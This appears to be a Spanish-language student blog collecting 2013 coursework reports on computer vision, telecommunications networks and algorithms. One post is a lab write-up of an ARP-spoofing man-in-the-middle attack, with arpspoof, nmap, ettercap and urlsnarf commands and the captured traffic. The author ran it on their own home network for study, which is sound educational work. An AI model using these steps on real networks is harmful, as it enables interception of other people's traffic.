Max Hernandez

Laberinto - Ejemplo de Canvas en HTML5

miércoles, 27 de febrero de 2013

Laboratorio 4: Detección de diagonales

Para esta semana en visión computacional estamos viendo el tema de detección de lineas, así que se nos dio la tarea de hacer un programa capaz de detectar lineas horizontales y verticales en una imagen, después calculamos el número de pixeles en lineas horizontales y después el número para lineas verticales. Esta publicación servirá de reporte para dicha tarea.

Método utilizado

Para poder distingir que pixeles pertenecen a una linea primero se calculo el ángulo del pixel si este fuera una linea, esto se hizo utilizando el gradiente de sus vecinos para saber hacia que dirección se encontraban los cambios (de la misma forma que hice para la primera tarea http://maxkalavera.blogspot.com/2013/02/tarea-1-deteccion-de-bordes.html), las matrices kernel de convolución  utilizadas para esto fueron las de Prewitt:

$P_{x} = \begin{bmatrix}
-1 & 0 & 1 \\
-1 & 0 & 1 \\
-1 & 0 & 1
\end{bmatrix}

P_{y} = \begin{bmatrix}
1 & 1 & 1\\
0 & 0 & 0\\
-1 & -1 & -1
\end{bmatrix}$

Utilice las mascaras de Prewitt ya que los gradientes que me genera son mas uniformes y es mas estético el resultado para mostrarlo en este reporte.

Ahora calculé el angulo para el cúal el gradiente apunta utilizando la siguiente formula:

$\Theta = arctan(\frac{g_{y}}{g_{x}})$

Una vez esto utilice la siguiente representación polar de una linea para calcular un valor constante que junte con el ángulo representen esa linea:

$\rho = xcos(\Theta )+ysin(\Theta )$

Una vez teniendo una representación de una posible linea en dos valores $(\Theta, \rho)$ agrupé los conjuntos de valores parecidos para juntar los valores que pertenecen a una linea.

Diagonales
La detección de lineas diagonales es bastante parecida a la detección de lineas verticales u horizontales, para lograrlo lo que hice fue tomando en cuenta el ángulo aproximado con el gradientes, si el pixel no tiene un ángulo aproximado de 0, 90, 180, 270 grados, entonces este debe pertenecer a una linea diagonal, claro que este chequeo se hace después de verificar que efectivamente es una linea.

Código

https://github.com/MaxHernandez/Vision_computacional/

Resultado
Esta vez las lineas verticales se muestran en azul, las horizontales en rojo y las diagonales en color verde.






[imagen obtenida de:"http://upload.wikimedia.org/wikipedia/en/f/fd/Coffin_window_diagonal_clapboards.jpg"]

martes, 26 de febrero de 2013

Laboratorio 4: Medidas de calidad de servicio (Qos)

Buen día. Esta semana en la clase de redes de telecomunicaciones, tocamos el tema de las medidas de calidad de servicio en telecomunicaciones, por eso esta publicación,  servirá a manera de reporte, para la investigación escolar que hizé de las medidas de calidad.

Primero ¿que es Quality of service?

Las redes de comunicación modernas no son perfectas y están expuestas a errores, ya sea, que un paquete se pierde en la red o que se duplica y complica la comunicación. La calidad de servicio son tecnologías que analizan una conexión y garantizan que se transporten los datos con ciertas características, por ejemplo con cierta velocidad o que los datos mandados raramente modifiquen su información durante el envió.

Algunas técnicas de calidad de servicio:
  • Classification and Marking
  • Congestion Avoidance
  • Policing and Shaping
  • Queuing

Medidas de calidad de servicio
 
Rendimiento (Throughput)
Es el rango promedio de mensajes entregados con exito en un canal de comunicación. Normalmente el rendimiento se mide en bits por segundo o bps, y otras veces en paquetes por segundo o longitud de tiempo.

Perdida de paquetes(Dropped packets)
Cuando uno o mas paquetes son mandados por una red y no llegan a su destino, se dice que hubo una perdida de paquetes. Este problema puede afecta en gran medida al rendimiento y al ancho banda.

Radio de error(Error rate)
Es el numero de bits o datos en un canal de comunicación que han sido alterados, por ruido o interferencia.

Latencia(Latency)
La latencia es el tiempo de espera de espera que tarda un paquete en llegar a su destino, no confundir con el delay en el cual se mide el tiempo de respuesta, en este caso se mide la comunicación en un solo sentido.

Jitter
Para ser exactos es la variación en la latencia en una canal de comunicación, es decir la variación del tiempo que tarda un paqute en llegar a un destino, mandando multiples paquetes.

Out-of-order delivery
Esto se da cuando se reciben paquetes en diferente manera de la cual fueron mandados. Esto se debe comunmente a que es dificil saber con precisión por que rutas viajaran los paquetes, por lo cual algúnos paquetes pueden tomar rutas mas largas que otros.

Ancho de banda(Bandwidth)
Es la cantidad de datos o paquetes que se pueden enviar por un canal de información en un periodo de tiempo dado, normalmente se mide en bites por segundo.

Confiabilidad(Reliability)
Es el porcentaje de paquetes que son descartados por un router, en un canal de información.

Referencias:
http://www.startnetworks.info/2010/08/qos-techniques.html
http://technet.microsoft.com/en-us/library/cc757120%28v=ws.10%29.aspx
http://en.wikipedia.org
http://www.transition.com/TransitionNetworks/Learning/Whitepaper/Qos.aspx
http://www.bgp-qos.org/

Tarea 4: Calidad de servicio (Qos)

Para esta publicación, se nos encargo hacer como tarea practica, Llevar acabo medidas relacionadas con calidad de servicio en un servicios, esta publicación servirá de reporte para las medidas realizadas.

SSH
El protocolo que seleccione para esta tarea es ssh el cual es un protocolo de red que utiliza criptografía para crear un canal de seguridad seguro, para manejar un Shell remoto.

Mis medidas realizadas

Wireshark
 Esta es la herramienta utilizada para llevar a cabo el analisis de paquetes, este funciona sniffeando una interfaz de conexión, despues es capaz de hacer análisis de los paquetes, lo que hice fue utilizar las herramientas, para filtrar todos los paquetes tipo ssh.

Rendimiento(Throughput)
Rendimiento se define como la cantidad de paquetes mandados con éxito en un canal de comunicación en una cantidad de tiempo. La siguiente gráfica obtenida con wireshark, mide el rendimiento en diferentes tiempos, el rendimiento se mestra mayor cuando llevo acabo instrucciones en la consola de SSH.



Tiempo de espera(Delay)
Es el tiempo que tarda en responder el servidor luego de mandar un paquete, en la gráfica se muestra que la mayoria de los mensajes mandados tienden a tener un corto tiempo de espera.


Ancho de banda(Bandwidth)
Este grafica muestra la cantidad de información que pasa por el canal entre los componentes en diferentes tiempos, como se puede ver el ancho de banda utilizado sube en los momentos en los que se escriben instrucciones en las consolas, en los demas momentos el protocolo SSH se mantiene sin mandar mensajes con lo cual no satura el ancho de banda para todos los demas procesos.


Perdida de paquetes(Dropped packets)
Para llevar a cabo esta medida utilice uno de los filtros que tiene Wireshark
tome todos los paquetes y filtre todos los paquetes SSH que no habían tenido respuesta, con la siguiente instrucción:

ssh and tcp.analysis.lost_segment

En total encontré que de 5112 paquetes mandados 0 se perdieron por lo cual se puede decir que SSH tiene muy buena calidad de servicio en este sentido.

Referencias:
http://blog.davidvassallo.me/2010/03/22/measuring-bandwidth-using-wireshark/

Laboratorio 4: Sugerencias proyectos del grupo

Para esta semana en el laboratorio de cómputo ubicuo, tenemos que hacer sugerencias en los proyectos que van a llevar acabo compañeros de la clase, entonces esta publicación serviría como reporte para las sugerencias realizadas en los proyectos.

Automóvil-seguro
Yo creo que para la comunicación con el dispositivo en el automóvil, lo ideal seria utilizar un Xbee por su alcance de como 120m pero este resulta muy caro y viéndolo de esa manera deberían utilizar una comunicación bluetooth, que aunque tiene poco alcance mas o menos de 5-30m, es mucho mas barato y seria mas simple de utilizar que por ejemplo un dispositivo con Internet.

CarNXP
Les recomendaría usar pruebas de usabilidad para la manera, en que accedan al programa para abrir la puerta del auto o empezar el arranque, por que si por ejemplo si tardas mas tiempo en entrar a la aplicación que en arrancar el auto con tu llave, entonces no tendría sentido. Yo recomendaría que el auto se habrá automáticamente cuando se acerca el celular del usuario a la puerta y que periódicamente verifique la autenticidad del portador del celular.

Casa Inteligente
Yo utilizaría una computadora principal para controlar, todos los diferentes subsistemas que actúan en la casa como los sensores de ventanas y cosas así, y luego utilizar computadoras mas simples y baratas como Rapsberry Pie para controlar subsistemas complejos, es decir tener una red de componentes inteligentes en la casa.

Cama inteligente
Su proyecto podría no solamente servir de alarma de sueño, si no podría servir de detector de problemas médicos relacionados con el sueño, por ejemplo escuchando sus ronquidos o analizando el tiempo que duerme, podrían dar consejos al usuario, o avisar en caso de que se presente algún patrón extraño.

Galería Inteligente
Yo utilizaría dispositivos propios, con realidad aumentada para mostrar la información, también el dispositivo podría juntar la información y mandarla a un Web-service y así no se necesita nada adicional y si se necesitan remodelaciones de lo que están mostrando no ocupan quitar el RFID o modificarlo o algo, es mas barato poner solo una etiqueta.

Oficina personalizada
Podrían utilizar la Webcam de la cámara, como cámara de seguridad y para controlar, cosas como la luz o detectar hábitos extraños. y una alternativa simple a electrocutar a alguien podría ser simplemente encerrarlo y llamar a autoridades.

Seguridad en computadora

Para detectar si la persona esta enfrente creo que podrían utilizar un algoritmo para detectar esquinas, y detectar la forma de la cara, y después utilizar un conjunto de puntos de esquinas como entrada a una red neuronal para diferenciar si es la persona o no.

Localizador de personas

En este proyecto deben tener buena seguridad, deberán tener niveles de seguridad asignados a usuarios en un servicio Web, creo que deberías poder decidir quien quieres que te encuentre y que ofrezca un medio de autenticación confiable, antes de poder encontrar a alguien.

lunes, 25 de febrero de 2013

Tarea 3: Detección de lineas

 Esta semana en la clase de visión computacional estuvimos viendo el tema de detección de lineas, así que se nos dio la tarea de hacer un programa capaz de detectar lineas horizontales y verticales en una imagen, después calcular el número de pixeles en lineas horizontales y finalmente el número de pixeles para las lineas verticales. Esta publicación servirá de reporte para dicha tarea.

Método utilizado

Para poder distinguir que pixeles pertenecen a una linea y cuales no, primero se calculó el ángulo de cada pixel en la imagen imaginando que éste fuera parte de una linea (aún y si no lo es), esto se hizo utilizando el gradiente de sus vecinos para saber hacia que dirección se encontraban los cambios (de la misma forma que hice para la primera tarea http://maxkalavera.blogspot.com/2013/02/tarea-1-deteccion-de-bordes.html). Las matrices kernel de convolución  utilizadas para ésto fueron las de Prewitt:

$P_{x} = \begin{bmatrix}
-1 & 0 & 1 \\
-1 & 0 & 1 \\
-1 & 0 & 1
\end{bmatrix}

P_{y} = \begin{bmatrix}
1 & 1 & 1\\
0 & 0 & 0\\
-1 & -1 & -1
\end{bmatrix}$

Ahora calculé el angulo hacia el cuál el gradiente apunta utilizando la siguiente formula:

$\Theta = arctan(\frac{g_{y}}{g_{x}})$

Una vez ésto utilicé la siguiente representación polar de una linea para calcular un valor numérico que junté con el ángulo para representar esa linea imaginaria (digo linea imaginaria por que estas operaciones se hacen para cada pixel,  aun si el pixel es parte de una linea o no):

$\rho = xcos(\Theta )+ysin(\Theta )$

Una vez teniendo una representación de una linea en dos valores $(\Theta, \rho)$ agrupé los conjuntos de valores parecidos para juntar los valores que pertenecen a una linea, después utilizando el ángulo fui capaz de averiguar si grupos de pixeles eran parte de lineas verticales u horizontales. En caso de que los pixeles no se agruparan en ningún valor, llegué a la conclusión de que estos pixeles no pertenecen a ninguna linea y los ignoré.

Código


https://github.com/MaxHernandez/Vision_computacional/tree/master/tarea3

Resultado

El programa debería dar como resultado el número de pixeles localizados en lineas verticales, el número en horizontales y una imagen con las lineas horizontales resaltadas en rojo y las lineas verticales en azul.

Número de pixeles Horizontales: 2478
Número de pixeles verticales: 2716


Número de pixeles Horizontales: 3955
Número de pixeles verticales: 5429



Referencias:
http://elisa.dyndns-web.com/~elisa/teaching/comp/vision/lineas.pdf

jueves, 21 de febrero de 2013

Laboratorio 3: Convex hull

Buen día.
Para esta semana en el laboratorio de visión computacional se nos dio la tarea de hacer código que sea capaz de llevar a cabo un convex hull, es decir calcular la envoltura convexa de un grupo de puntos. El algoritmo que utilice es gift wraping.

Gift Wraping

El algoritmo gift wraping funciona tomando el punto que esta mas a la izquierda, o la mínima de las coordenadas, después de manera iterativa se busca el punto, que de la los últimos dos puntos formando una linea y el ultimo punto y el siguiente a seleccionar formen el ángulo mas grande posible, al final se vuelve al punto inicial y termina el algoritmo.


[Imagen obtenida de:"http://i.stack.imgur.com/cpadV.gif"]

Codigo
[]

El algoritmo corriendo:

Primero mostrare la imagen de la cara feliz que por costumbre pongo:


Pero como no se nota muy claramente por que la cara es una figura circular, lo corrí también usando esta imagen de un sol:



Referencias:

Homework 2: String matching

Hi,this week on information theory and coding methods we are studying algorithms of string matching, so the homework for this week is to implement a program that do string matching, using the Boyer-Moore and Knuth-Morris-Pratt. So this post servers as report of the homework mentioned.

Boyer-Moore algorithm

This algorithm works checking the pattern from left to right, it is considered on of the most efficient of this area.

[Imagen obtenida de:"http://cdn.ttgtmedia.com/digitalguide/images/Misc/netseckia_3.gif"]

Knuth-Morris-Pratt
This algorithm uses information based on previous failures, using the information to find the very word itself contains to determine which might be the next existence, without having to analyze more than 1 time characters in the search string with.


[imagen obtenida de:"http://www.ics.uci.edu/~eppstein/161/kmp.gif"]
Program code

[]

The program running:
[
max@juan-laptop:~/Desktop/octavo_semestre/teoria_info/homework2$ python homework2.py 
Boyer-Moore
String: 'anita lava la tina'
Pattern: lava
Position: 6

Knuth-Morris-Pratt
String: 'anita lava la tina'
Pattern: lava
Position: 6

012345678901234567
anita lava la tina
]

Time analisys on the algorithms running
For analysis propose, i writed a códe that, measure the running time o the both algorithm using the same text, and pattern, but with diferent length of the twice variables

The analisys works generating frst a pattern with aleatory characters, then the code put the pattern in the text, and add other aleatoy characters to fill the text.

This is the gnuplot code, i used a 3d graph because my goal is to show diferences betwen the two algorithms.

set terminal postscript eps enhanced color font 'Helvetica,40'
set output 'introduction.eps'
set size 4, 4
set xlabel 'Pattern length'
set ylabel 'Text length'
set zlabel 'time running'
set logscale
splot "time_test.dat" using 1:2:3 with dots title 'Boyer-Moore' , 'time_test.dat' using 1:2:4 with dots title 'Knuth-Morris-Pratt';

Now the graphic shows in x and y axis the length of the pattern and text, the z-axis shows the time-running used to find the pattern in the text. is used the logscale to show more clearly the difference in the running-time. 

  

Referencias:
http://www.wikipedia.org/ 

martes, 19 de febrero de 2013

Laboratorio 3: Cobertura redes Wifi

Buen día. Esta semana en la clase de redes de telecomunicaciones vimos conexiones por medio de redes wireless. Esta publicación servirá a manera de reporte para mostrar la practica de laboratorio relacionada con el tema.

La practica de esta semana consiste en construir una aplicación utilizando la API de Google Maps que sea capaz de detectar, las redes existentes alrededor de tu computadora, y dibuje el rango en el cual se encuentra ubicado el modem de dicha computadora.

Google maps API
Para dibujar las redes en un mapa de google utilice la API del servicio y un ejemplo de uso que la doctora Elisa Schaeffer nos proporciono.

El javascript calcula la posición utilizando HTML5 y configura el mapa para mostrarse en esa posición. El script de Python genera los rangos y las distancias y llama a las funciones de javascript para dibujar los circulos que muestran los rangos.

Código Javascript

https://github.com/MaxHernandez/redes_de_telecomunicaciones

Calculando la distancia aproximada
Para conseguir la información de la red utilice el comando del sistema Linux "iwlist" para leer la información que me regresa, la mande a un archivo de texto, para después leerla y analice, para conseguir la información.

Para calcular la distancia aproximada utilice la siguiente formula que encontré en el link que esta en las referencias. A partir de la cantidad de señal, me permitió calcular una distancia relativa a la señal, de un aproximado.


[imagen obtenida de:"http://www.moxa.com/newsletter/connection/2008/03/images/feature03.jpg"]

Código Python

https://github.com/MaxHernandez/redes_de_telecomunicaciones

Capturas:
Por cuestiones de seguridad moví el punto de origen, de mi casa hacia la ubicación que se muestra en la imagen. Las capturas muestran la posición de origen y  el rango aproximado en el que se encuentra el origen de la conexión wifi. En la parte de abajo muestra el nombre de la red y los datos sobre la intensidad y la distancia aproximada del accespoint. 



Referencias:
  1. https://developers.google.com/maps/
  2. http://www.moxa.com/newsletter/connection/2008/03/Figure_out_transmission_distance_from_wireless_device_specs.htm

Tarea 3: Men in the middle

Hola, esta semana en redes de telecomunicaciones tocamos el tema de conexiones wireless, para esto se nos dio la tarea de realizar un ataque común a esta tipo de redes, claro sin afectar a un tercero solamente, por fines educativos. El ataque se hizo entre mis dos computadoras y en la red local de mi casa.

Esta publicación servira a manera de reporte para la tarea de la clase, las herramientas utilizadas para la practica son las siguientes:

El sistema operativo de ambas computadoras fue Ubuntu de inux
  • Nmap para rastrear ip's en mi red
  • Arpspoof para realizar el ataque man in the middle
  • Urlsnarf para filtrar URL's en la red
  • Ettercap para filtrar paquetes

A grandes rasgos estos fueron los pasos que utilice para direccionar la conexión de la computadora afectada:
sudo su
cat /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward
ifconfig
nmap -sF 192.168.1.1-255
arpspoof -i interface -t  
arpspoof -i interface -t  urlsnarf -i interface
ettercap -T -i interface

Mi ejemplo practico

El primer paso fue permitir el reenvío de paquetes por parte de la computadora atacante, para eso solo cambiamos la variable del sistema "/proc/sys/net/ipv4/ip_forward" de la siguiente manera:
 kalavera@kalavera-AOD270:~$ sudo su
[sudo] password for kalavera:
root@kalavera-AOD270:/home/kalavera# cat /proc/sys/net/ipv4/ip_forward
0
root@kalavera-AOD270:/home/kalavera# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kalavera-AOD270:/home/kalavera# cat /proc/sys/net/ipv4/ip_forward
1
 
El siguiente paso es conocer cual es la dirección de la computadora en la que estamos trabajando en la red local y la interfaz con la cual esta conectada a la red. Como podemos ver la dirección de mi computadora durante la practica era la "192.168.1.67" puesta en la interfaz "wlan0"
root@kalavera-AOD270:/home/kalavera# ifconfig
wlan0     Link encap:Ethernet  HWaddr --:--:--:--:--:--
          inet addr:192.168.1.67  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::864b:f5ff:fe3c:37e0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:170763 errors:0 dropped:0 overruns:0 frame:0
          TX packets:181064 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:109200759 (109.2 MB)  TX bytes:103342011 (103.3 MB)

Ahora utilice Nmap para escanear las IP's de todas las computadoras conectadas a la red local, eso con el fin de encontrar la IP de la computadoraa la cual se le va a hacer el ataque.

root@kalavera-AOD270:/home/kalavera# nmap -sF 192.168.1.1-255
Starting Nmap 5.21 ( http://nmap.org ) at 2013-02-17 14:45 CST

Nmap scan report for 192.168.1.67
Host is up (0.000080s latency).
Not shown: 999 closed ports
PORT   STATE         SERVICE
80/tcp open|filtered http

Nmap scan report for 192.168.1.105
Host is up (0.0055s latency).
Not shown: 999 closed ports
PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: --:--:--:--:--:-- (Unknown)

Nmap scan report for 192.168.1.254
Host is up (0.0052s latency).
All 1000 scanned ports on 192.168.1.254 are open|filtered
MAC Address: --:--:--:--:--:-- (Unknown)

Nmap done: 255 IP addresses (5 hosts up) scanned in 55.74 seconds

Sabiendo que la IP del modem termina con 254 y la IP de nuestra computadora es la que termina con 67, podemos suponer que la IP de la computadora a la que se hara el ataque es la que tiene terminación 105.

Ahora haciendo uso de "arspoof" podemos empezar el ataque redireccionando los paquetes del modem al host.

root@kalavera-AOD270:/home/kalavera# arpspoof -i wlan0 -t 192.168.1.254 192.168.1.105
--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.105 is-at --:--:--:--:--:--
--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.105 is-at --:--:--:--:--:--
--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.105 is-at --:--:--:--:--:--
--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.105 is-at --:--:--:--:--:--

Y despues en sentido contrario.

root@kalavera-AOD270:/home/kalavera# arpspoof -i wlan0 -t 192.168.1.105 192.168.1.254

--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.254 is-at --:--:--:--:--:--
--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.254 is-at --:--:--:--:--:--
--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.254 is-at --:--:--:--:--:--
--:--:--:--:--:-- --:--:--:--:--:-- 0806 42: arp reply 192.168.1.254 is-at --:--:--:--:--:--

Una vez que establecí el ataque man in the middle, en la red de nuestra computadora recibimos los paquetes del atacado. El host atacado puede ver que hay un intermediario escuchando en la red, utilizando el protocolo de resolución de direcciones. Con el siguiente comando:

max@juan-laptop:~$ arp -an
? (192.168.1.67) at 84:4b:f5:3c:37:e0 [ether] on wlan0
? (192.168.1.254) at 84:4b:f5:3c:37:e0 [ether] on wlan0

EN este punto utilice ettercap para filtrar los paquetes que recibia la computadora, y mostrar en la terminal una lista con los paquetes filtrados.
 
root@kalavera-AOD270:/home/kalavera# ettercap -T -i wlan0

ettercap NG-0.7.4.2 copyright 2001-2005 ALoR & NaGA
Listening on wlan0... (Ethernet)
 wlan0 ->    --:--:--:--:--:--      192.168.1.67     255.255.255.0
 
Sun Feb 17 15:21:34 2013
UDP  192.168.1.254:53 --> 192.168.1.105:44089 |
D............shop.ubuntu.com.................U...

Sun Feb 17 15:21:34 2013
UDP  192.168.1.105:33465 --> 192.168.1.254:53 |
[............www.ubuntu.com.....

Sun Feb 17 15:21:34 2013
UDP  192.168.1.254:53 --> 192.168.1.105:33465 |
[............www.ubuntu.com.................[.YX
Como podemos ver, el host atacado transmitió un mensaje entre una pagina de ubuntu y el.

El ultimo programa que utilice para filtrar paquetes es "urlsnarf" que se utiliza para filtrar las url visitadas en los paquetes, despues de activarlo en la computadora atacada, visite la pagina "groveshark" y los resultados fueron los siguientes:

-----root@kalavera-AOD270:/home/kalavera# urlsnarf -i wlan0

urlsnarf: listening on wlan0 [tcp port 80 or port 8080 or port 3128]

juan-laptop.local - - [17/Feb/2013:15:27:30 -0600] "GET http://grooveshark.com/ HTTP/1.1" - - "-" "informacion de tu sistema operativo y navegador"

Como podemos ver el programa muestra la pagina visitada ademas de la información sobre el sistema operativo y el navegador de la computadora.

Buen día.

lunes, 18 de febrero de 2013

Tarea 3: Detección de formas

Buen día. Para esta semana en la clase de visión computacional se nos encargó construir un código que sea capaz de detectar formas en una imagen, pintar cada figura de diferente color, y obtener su centro de masa.

El problema esta mejor explicado en la presentación de esta semana de la clase:
http://elisa.dyndns-web.com/~elisa/teaching/comp/vision/formas.pdf

Esta publicación servirá de reporte para la tarea mencionada anteriormente.

Preprocesamiento
El preprocesamiento necesario para poder implementar los conocimientos adquiridos en esta semana es: calcular una imagen binaria que muestre los bordes de la imagen. Esto fue la ultima tarea para esta clase, para más detalle puedes verla en la siguiente publicación:

http://maxkalavera.blogspot.mx/2013/02/tarea-1-deteccion-de-bordes.html

DFS(Depth-first search)
El algoritmo DFS es un algoritmo de búsqueda de profundidad en un grafo, se empieza en un nodo raíz y se visitan de manera recursiva los vecinos del nodo, después de un número de repeticiones, se puede llegar a visitar todos los nodos alcanzables por el nodo raíz.


[Imagen obtenida de:"http://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif"]

En el procesamiento de imágenes de esta tarea, se utilizó dicho algoritmo para diferenciar una figura de otra, poniendo el nodo raíz dentro de una figura, en cualquier pixel de la figura. El algoritmo DFS se va a encargar de visitar de manera recursiva todos los vecinos, expandirse como un virus y abarcar todos los vecinos ignorando los píxeles donde haya un borde. Esto nos ayudara a dividir la imagen en diferentes grupos de píxeles aislados de otros.

Continuidad
Para poder detectar figuras con el algoritmo DFS necesitamos por fuerza que nuestros bordes sean completamente continuos ya que de no ser así el coloreado por fuera de los bordes se filtrara a la figura haciéndola no diferenciable del fondo o de otra figura.

Para lograr esto se utilizó un filtro de promediado de los vecinos, es decir se toma un pixel y sus vecinos y se calcula el promedio de esos valores, este valor se coloca en el pixel en el que trabajamos y se hace la misma operación para cada pixel en la imagen. Esto es muy parecido al filtro de media que aplicamos para la primera tarea de laboratorio. Esté filtro hará que se expandan de manera inteligente los bordes detectados con anterioridad. En la siguiente imagen los bordes detectados se encuentran dibujados de color blanco con el valor entero 255, al aplicar un promediado los pixeles que se encuentren entre un vecino blanco hacia un lado (valor entero de 255) y un vecino negro a un lado (valor entero de 0), al promediarlos éste pixel tomará el valor de 127. Entre más vecinos blancos tenga mayor será la intensidad de blanco de este pixel, expandiendo así los colores blancos que representan el borde, alrededor de los pixeles blancos.
http://maxkalavera.blogspot.mx/2013/02/laboratorio-1-escala-de-grises-umbrales.html



El filtro de promedio hace que se difuminen los bordes y empiecen a juntarse, aplicando un filtro de umbral después de eso, se puede lograr que los bordes queden mas uniformes y que no haya espacios entre los bordes y el fondo de la imagen.


Calculando centros de masa
Los centros de masa fueron calculados tomando todos los puntos dentro de una figura y sacando el promedio de sus coordenadas en la imagen.


Resultado
Los filtros utilizados para procesar la imagen se pueden encontrar en el repositorio de la clase:
https://github.com/MaxHernandez/Vision_computacional
El código de a continuación es el que se utilizó para generar la imagen que se muestra a continuación donde se parte en figuras nuestra feliz imagen. Se dibuja un punto rojo para mostrar los centros de masa de la figura.

Código  
https://github.com/MaxHernandez/Vision_computacional
Imagen original



Imagen tratada para detección de bordes



Imagen tratada para detección de formas



Referencias:
http://en.wikipedia.org/wiki/Depth-first_search

lunes, 11 de febrero de 2013

Laboratorio 2: Eliminando sal y pimienta

Para esta semana en el laboratorio de visión computacional, se nos dio a la tarea de generar el ruido sal y pimienta, un ruido muy común en las imágenes cuando las cámaras tienen baja calidad. Esta publicación servirá como reporte para este laboratorio, donde mostrare  mi experiencia generando y eliminando dicho ruido.

Imagen original


Generando ruido sal y pimienta

El efecto de sal y pimienta fue generado utilizando una probabilidad de aparición de dicho ruido llamada densidad. Por cada pixel en la imagen se hizo un tiro de Bernulli tomando como probabilidad de éxito, el que apareciera un ruido en ese pixel de la imagen. Una vez que se generaba un ruido en un pixel se escoge de manera aleatoria un color blanco o negro y se pone en dicho pixel.

Resultado:

Filtro de la media para remover sal y pimienta

El filtro de la media ya lo había implementado para el laboratorio anterior, la única diferencia es que ahora se modifico para implementarse en los tres canales de colores.
El filtro de la media funciona eligiendo la media del conjunto de vecinos mas el pixel mismo, por lo cual valores muy diferentes a los de los vecinos, son muy poco probables de permanecer en la imagen después del filtro.

Resultado:

Laboratorio 2: Protocolos de la red

Para laboratorio de redes de telecomunicaciones de nos encargo hacer un gráfica donde se muestren los protocolos de conexiones alámbricas que nos parezcan los mas importantes. La siguiente imagen muestra mi aportación al laboratorio.


Debido a que la imagen es demasiado grande no se puede visualizar de manera correcta en el blog, pero se puede descargar dando click en ella.
-
-
Referencias:
http://www.javvin.com/
http://www.edrawsoft.com/Network-Protocol.php

Tarea 2: Mi primer protocolo


Esta semana en redes se nos encargo la tarea de realizar un protocolo muy simple para entender, como es este proceso y la complejidad del mismo. Esta publicación servirá de reporte para esta tarea, aquí pondré las reglas para mi protocolo de ejemplo y después una pequeña implementación en Python para probar su funcionamiento.
Para esta tarea yo decidí hacer un protocolo sobre una partida Tic Tac Toe utilizando una sesión con Sockets para conectar a los jugadores.w

Tic Tac Toe
El tic tac toe es un juego donde se colocan círculos y tachas en una matriz de 3x3, el juego se gana cuando un jugador logra poner 3 de su respectiva marca en horizontal, diagonal o vertical.


[Imagen obtenida de: "http://upload.wikimedia.org/wikipedia/commons/a/ae/Tic_Tac_Toe.gif"]

Mi protocolo

Datos utilizados e interpretación:
  • Jugador en turno: 1 bit
  • fin de partida: 2 bits
  • siguiente movimiento: 4 bits
  • matriz posiciones: 3x3 casillas de al menos dos bits
  • Nombre de jugadores: vector con dos valores - String con 10 a 40 caracteres para cada nombre, posición cero para el jugador cero y uno para el uno.

Las casillas se mapean de arriba hacia abajo de izquierda a derecha, de 0 al 8 se enumeran las casillas
0 | 1| 2
----------
3 | 4| 5
----------
6 | 7| 8

El jugador "0" siempre es el circulo, el jugador "1" siempre es la "X", es decir el cliente siempre se dibuja como la "X" y el servidor siempre como el circulo

El fin de la partida puede tener 4 valores: "0" partida todavía en proceso, "1" gano el jugador "0" o el servidor, "2" gano el jugador "1" o el cliente y "3" empate. Primero se verifica que haya terminado el juego es decir que el valor de la variable de fin de partida tenga un valor diferente a 0, después se verifica que haya sido empate es decir que la variable tenga el valor 3, de no ser así se

Para conocer el jugador ganador o el que tiene el turno, solo se necesita 1 bit, donde "0" se asigna al programa servidor y "1" al cliente.

Se necesita una unidad lógica que verifique
  • Quien gano
  • Quien tiene el turno
  • Si hay empate
En la matriz de 3x3 los siguientes numeros representan: "0" es una casilla vacia, "1" para el jugador "0", "2" para el jugador "1".
Example:
0 | 1| 2
----------
1 | 2| 0
----------
2 | 0| 0

Comunicación

La comunicación se lleva a cabo por medio de Sockets

Al inicio de la partida se pasan por el stream los datos:
  • Turno: 1 bit
  • Nombre de jugadores: Vector con dos valores - String con 10 a 40 caracteres para cada nombre
Después de cada movimiento se pasan por el stream los datos:
  • Fin de partida: 2 bits
  • Siguiente movimiento: 4 bits
Si se pierde conexion de red, la partida queda en empate

Cliente servidor 
Este juego es un perfecto programa cliente servidor puesto que es un juego de exacto dos personas.

Inicio del juego
El turno inicial para los jugadores se genera de forma aleatoria.

Al terminar la partida
Se decide un ganador y se empieza un nuevo juego

Implementación
Por desgracia no pude lograr que mi implementación funcionara correctamente, puesto a que el Thread que utiliza la interfaz gráfica GTK parece estar bloqueando, el Thread que espera la información del oponente. Parece un error fácil de arreglar pero a decir verdad no supe como hacerlo.

A pesar del inconveniente todo lo demás esta implementado y parece funcionar solo que no pude probarlo bien. Los programas establecen conexión y mandan los datos del protocolo.

Tarea 1: detección de bordes

Buen día, para esta semana en la clase de visión computacional, se nos dio la tarea de implementar un algoritmo para detectar los bordes en una imagen. Esta publicación va a servir como reporte para dicha tarea.

Los pasos en que se detectaron los bordes en la imagen fue la siguiente:
  1. Primero se aplicó una mascara utilizando convolución para aproximar el gradiente tanto en el eje "X" como en el eje "Y".
  2. Después se normalizaron los colores de la imagen a el rango  $\left ( 0, 255 \right )$.
  3. Se convirtió a escala de grises promediando los 3 canales de colores de la imagen.
  4. Se aplicó un umbral para convertir la intensidad a dos valores "0" o "255".
 
Imagen original:


Código:

https://github.com/MaxHernandez/Vision_computacional

Mascaras de convolución
Convolución en las matemáticas es un operador de dos funciones, donde se superpone una función sobre otra.
En el tratamiento de imágenes se podría decir que es el tratamiento de una matriz utilizando otra. Dado que las imágenes se representan como una matriz de colores,  es muy común utilizar la convolución para general filtros en las imágenes utilizando una matriz mas pequeña normalmente de 3x3 o 5x5 para tratar la imagen, normalmente esta matriz se le llama kernel o mascara.
 
